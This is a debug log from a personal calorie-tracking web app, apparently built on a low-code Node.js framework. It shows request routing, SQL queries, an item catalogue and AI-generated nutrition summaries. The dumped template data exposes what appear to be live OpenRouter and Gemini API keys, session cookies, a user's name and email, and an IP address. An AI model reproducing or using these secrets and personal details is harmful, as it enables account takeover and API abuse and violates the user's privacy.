  total_macros: {
    protein: { value: 8, unit: 'g' },
    carbs: { value: 12, unit: 'g' },
    fat: { value: 0, unit: 'g' }
  }
}
2025-12-17T13:06:51.603Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-17T13:06:51.603Z server-connect:app Executing action step identify
2025-12-17T13:06:51.603Z server-connect:app options: { provider: 'security' }
2025-12-17T13:06:51.603Z server-connect:output identity: 1
2025-12-17T13:06:51.604Z server-connect:app Executing action step restrict
2025-12-17T13:06:51.604Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T13:06:51.604Z server-connect:output restrict: undefined
2025-12-17T13:06:51.604Z server-connect:app Executing action step condition
2025-12-17T13:06:51.604Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-17T13:06:51.605Z server-connect:app Executing action step repeat
2025-12-17T13:06:51.605Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-17T13:06:51.605Z server-connect:app Executing action step insert
2025-12-17T13:06:51.605Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-17T13:06:51.608Z server-connect:output calories: { affected: 1, identity: 429 }
2025-12-17T13:06:51.608Z server-connect:output repeat: [ {} ]
2025-12-17T13:06:51.608Z server-connect:output condition: undefined
2025-12-17T13:06:51.812Z server-connect:router Serving templateView /calorie-tracker
2025-12-17T13:06:51.813Z server-connect:app Executing action step identify
2025-12-17T13:06:51.813Z server-connect:app options: { provider: 'security' }
2025-12-17T13:06:51.813Z server-connect:output identity: 1
2025-12-17T13:06:51.813Z server-connect:app Executing action step restrict
2025-12-17T13:06:51.813Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T13:06:51.814Z server-connect:output restrict: undefined
2025-12-17T13:06:51.814Z server-connect:router Render template layouts/main
2025-12-17T13:06:51.814Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AOv8cR8qB62qMYhAKnANKZw%3D%3D.zTzLnOEkXLMz3FoOfQjT8x6Desr8jTjKYbSZJd8QWwv6pFD6hfC95PE%2FQlFGJjoYGuYduEs4gTl9VpZ6xo82VTorQB%2B%2BuFW1UvBsFOsvFeh5EZXHRo6TcUBo1fmpyqF9fR%2B%2FdIgPMkzEbNj4BhTPqAvG0HhiUVYZSaR%2F3d8bYKI%3D.z%2FeEnUfUDQJ4J32XUa0Zy4obm8cP%2FbdMqRpGvXVpfPQ; your_r_git.sid=s%3ANf_HPoLuAXYg1ZXutDDFug0MGIcmkRt9.xVgOpNkV%2Fo4VGL%2FwqI75QMmvjbG62%2Bf6ZJ9fzcgUHEE',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T13:50:56.189Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AOv8cR8qB62qMYhAKnANKZw%3D%3D.zTzLnOEkXLMz3FoOfQjT8x6Desr8jTjKYbSZJd8QWwv6pFD6hfC95PE%2FQlFGJjoYGuYduEs4gTl9VpZ6xo82VTorQB%2B%2BuFW1UvBsFOsvFeh5EZXHRo6TcUBo1fmpyqF9fR%2B%2FdIgPMkzEbNj4BhTPqAvG0HhiUVYZSaR%2F3d8bYKI%3D.z%2FeEnUfUDQJ4J32XUa0Zy4obm8cP%2FbdMqRpGvXVpfPQ; your_r_git.sid=s%3ANf_HPoLuAXYg1ZXutDDFug0MGIcmkRt9.xVgOpNkV%2Fo4VGL%2FwqI75QMmvjbG62%2Bf6ZJ9fzcgUHEE',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-17T13:06:52.020Z server-connect:app Executing action step identify
2025-12-17T13:06:52.020Z server-connect:app options: { provider: 'security' }
2025-12-17T13:06:52.021Z server-connect:output identity: 1
2025-12-17T13:06:52.377Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-17T13:06:52.378Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-17T13:06:52.380Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-17T13:06:52.381Z server-connect:app Executing action step identify
2025-12-17T13:06:52.381Z server-connect:app options: { provider: 'security' }
2025-12-17T13:06:52.381Z server-connect:output identity: 1
2025-12-17T13:06:52.381Z server-connect:app Executing action step restrict
2025-12-17T13:06:52.381Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T13:06:52.381Z server-connect:app Executing action step identify
2025-12-17T13:06:52.382Z server-connect:app options: { provider: 'security' }
2025-12-17T13:06:52.382Z server-connect:output identity: 1
2025-12-17T13:06:52.382Z server-connect:app Executing action step restrict
2025-12-17T13:06:52.382Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T13:06:52.383Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-17T13:06:52.384Z server-connect:output restrict: undefined
2025-12-17T13:06:52.384Z server-connect:app Executing action step select
2025-12-17T13:06:52.384Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-17T13:06:52.385Z server-connect:app Executing action step identify
2025-12-17T13:06:52.385Z server-connect:app options: { provider: 'security' }
2025-12-17T13:06:52.385Z server-connect:output identity: 1
2025-12-17T13:06:52.385Z server-connect:app Executing action step restrict
2025-12-17T13:06:52.385Z server-connect:app options: { provider: 'security' }
2025-12-17T13:06:52.385Z server-connect:output restrict: undefined
2025-12-17T13:06:52.385Z server-connect:app Executing action step single
2025-12-17T13:06:52.385Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-17T13:06:52.386Z server-connect:output restrict: undefined
2025-12-17T13:06:52.386Z server-connect:app Executing action step single
2025-12-17T13:06:52.386Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-17T13:06:52.387Z server-connect:app Executing action step identify
2025-12-17T13:06:52.387Z server-connect:app options: { provider: 'security' }
2025-12-17T13:06:52.387Z server-connect:output identity: 1
2025-12-17T13:06:52.387Z server-connect:app Executing action step restrict
2025-12-17T13:06:52.387Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-17T13:06:52.389Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-17T13:06:52.390Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "Today's intake provided a decent foundation with the inclusion of protein from whey and dairy, along with carbohydrates for energy. The meal structure appears reasonably spread out, supporting recovery from your early morning workouts. However, there's an opportunity to enhance protein diversity and ensure adequate fiber intake throughout the day.",
    bad_points: [
      'Limited variety in protein sources.',
      'Potential for higher carbohydrate content in the main meal.',
      'Fiber intake could be increased.'
    ],
    good_points: [
      'Inclusion of whey protein post-workout.',
      'Incorporation of fruits like banana and papaya.',
      'Adequate hydration throughout the day.',
      'Reasonable meal distribution.'
    ],
    suggestions: [
      'Incorporate a lean protein source with your main meal, such as chicken or lentils.',
      'Add more vegetables to your sabzi or include a side salad for increased fiber.',
      'Consider adding a source of healthy fats beyond walnuts, like avocado or seeds, to other meals.',
      'Ensure consistent protein intake across all meals.'
    ],
    predicted_weight: 70,
    predicted_weight_trend: 'steady loss'
  },
  date: '2025-12-16T18:30:00.000Z'
}
2025-12-17T13:06:52.391Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-17T13:06:52.393Z server-connect:output restrict: undefined
2025-12-17T13:06:52.393Z server-connect:app Executing action step single
2025-12-17T13:06:52.393Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-17T13:06:52.395Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-17T13:06:52.395Z server-connect:app Executing action step select
2025-12-17T13:06:52.395Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-17T13:06:52.396Z server-connect:output item_list: [
  {
    id: 417,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Walnuts',
    calories: 98,
    protein_gm: 2,
    carbs_gm: 2,
    fat_gm: 10,
    quantity: '2 full walnuts (approx 15g edible portion)',
    replacements: 'Almonds (slightly fewer calories per serving, different fatty acid profile),Pistachios (lower calorie and fat than walnuts),Chia seeds (different fat profile, less dense calories)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of healthy fats (omega-3s), antioxidants, and some protein. Highly beneficial for overall health, brain function, and muscle recovery, directly supporting muscle development goals.'
  },
  {
    id: 418,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Pre-workout supplement',
    calories: 5,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 scoop (6.5g)',
    replacements: 'Black coffee (for caffeine without fillers),Green tea (natural energy and antioxidants),Standalone creatine or beta-alanine (if specific ingredients are targeted)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 2,
    skip_reason: "Primarily a performance enhancer, not a significant nutritional source of macros. It can be beneficial for intense early morning workouts to improve focus and energy, but it's not essential and can be skipped if you are sensitive to stimulants or don't require the extra boost."
  },
  {
    id: 419,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 99,
    protein_gm: 20,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (26g)',
    replacements: 'Casein protein (slower digestion, good for sustained release),Plant-based protein powders (e.g., pea, rice, soy protein),Whole food protein sources like egg whites, Greek yogurt, or lean chicken breast (though these are not powder alternatives)',
    created_at: '2025-12-16T22:11:21.000Z',
    skip_level: 1,
    skip_reason: 'Excellent, fast-digesting protein source crucial for muscle repair, growth, and recovery, especially after early morning gym sessions. It directly supports your muscle development goal by providing essential amino acids efficiently.'
  },
  {
    id: 420,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Banana',
    calories: 89,
    protein_gm: 1,
    carbs_gm: 23,
    fat_gm: 0,
    quantity: '1 (approx 100g edible portion, medium size)',
    replacements: 'Berries (e.g., strawberries, blueberries) - lower sugar, higher fiber,Apple - slightly lower calories, good fiber,Cucumber slices - very low calorie, hydrating (different type of snack, but significantly lower calorie)',
    created_at: '2025-12-16T23:02:32.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of easily digestible carbohydrates for quick energy, especially beneficial for pre or post-workout fuel due to your 5x gym routine. Provides essential potassium for muscle function and recovery. Fits well with muscle development goals.'
  },
  {
    id: 421,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Appe (Paniyaram) homemade',
    calories: 100,
    protein_gm: 4,
    carbs_gm: 20,
    fat_gm: 2,
    quantity: '2 pieces (approx 70-80g)',
    replacements: "Make with minimal oil using a non-stick pan,Incorporate more non-starchy vegetables (e.g., grated carrots, spinach, bottle gourd) into the batter to increase fiber and nutrients,Use a higher proportion of lentils or add oats/ragi flour to the batter to boost protein and fiber content,Serve with a high-protein side like a lentil-based sambar (without coconut) or a small portion of paneer bhurji (cottage cheese scramble) to enhance the meal's protein profile",
    created_at: '2025-12-16T23:21:49.000Z',
    skip_level: 1,
    skip_reason: 'Homemade Appe, made from fermented rice and lentils, is a good source of complex carbohydrates, which are essential for sustained energy during your 5x weekly gym sessions and for replenishing glycogen stores post-workout, aiding muscle recovery and development. It also provides some plant-based protein and is generally easy to digest due to fermentation. Being homemade allows for control over the amount and type of oil used, making it a wholesome and suitable option for your fitness goals.'
  },
  {
    id: 422,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Milk Coffee',
    calories: 75,
    protein_gm: 5,
    carbs_gm: 7,
    fat_gm: 4,
    quantity: '1 small cup (approx 150ml)',
    replacements: 'Black coffee,Coffee with skim milk,Coffee with almond milk (unsweetened)',
    created_at: '2025-12-17T00:57:09.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 423,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Roti',
    calories: 300,
    protein_gm: 9,
    carbs_gm: 63,
    fat_gm: 3,
    quantity: '3',
    replacements: 'Jowar roti,Bajra roti,Multigrain roti',
    created_at: '2025-12-17T02:45:17.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 424,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Aloo Patta Gobi Sabzi',
    calories: 150,
    protein_gm: 4,
    carbs_gm: 18,
    fat_gm: 8,
    quantity: '1 serving (approx 150g)',
    replacements: 'Cabbage and peas sabzi (without potato),Steamed cabbage and carrot salad',
    created_at: '2025-12-17T02:45:17.000Z',
    skip_level: 2,
    skip_reason: 'Potatoes add extra carbs and calories. While not bad, for muscle development, focusing on higher protein and lower carb vegetables might be more beneficial.'
  },
  {
    id: 425,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Boondi Raita',
    calories: 120,
    protein_gm: 6,
    carbs_gm: 10,
    fat_gm: 6,
    quantity: '1 katori (approx 150g)',
    replacements: 'Plain curd/yogurt,Cucumber raita,Mint raita',
    created_at: '2025-12-17T02:45:17.000Z',
    skip_level: 2,
    skip_reason: 'Boondi is typically deep-fried, adding extra fat and calories. While a good source of probiotics from curd, the boondi can be skipped for a leaner option.'
  },
  {
    id: 426,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Water',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1.5 litres',
    replacements: '',
    created_at: '2025-12-17T02:46:18.000Z',
    skip_level: 1,
    skip_reason: "Water is essential for hydration and has no calories. It's crucial for muscle development and overall health."
  },
  {
    id: 427,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Papaya',
    calories: 100,
    protein_gm: 2,
    carbs_gm: 25,
    fat_gm: 1,
    quantity: '4 slices',
    replacements: 'Berries (strawberries, blueberries),Watermelon,Cucumber',
    created_at: '2025-12-17T04:40:11.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 428,
    intake_date: '2025-12-16T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 60,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Black tea (0 calories),Green tea (0 calories),Herbal tea (0 calories),Tea with skim milk (lower fat, slightly lower calories)',
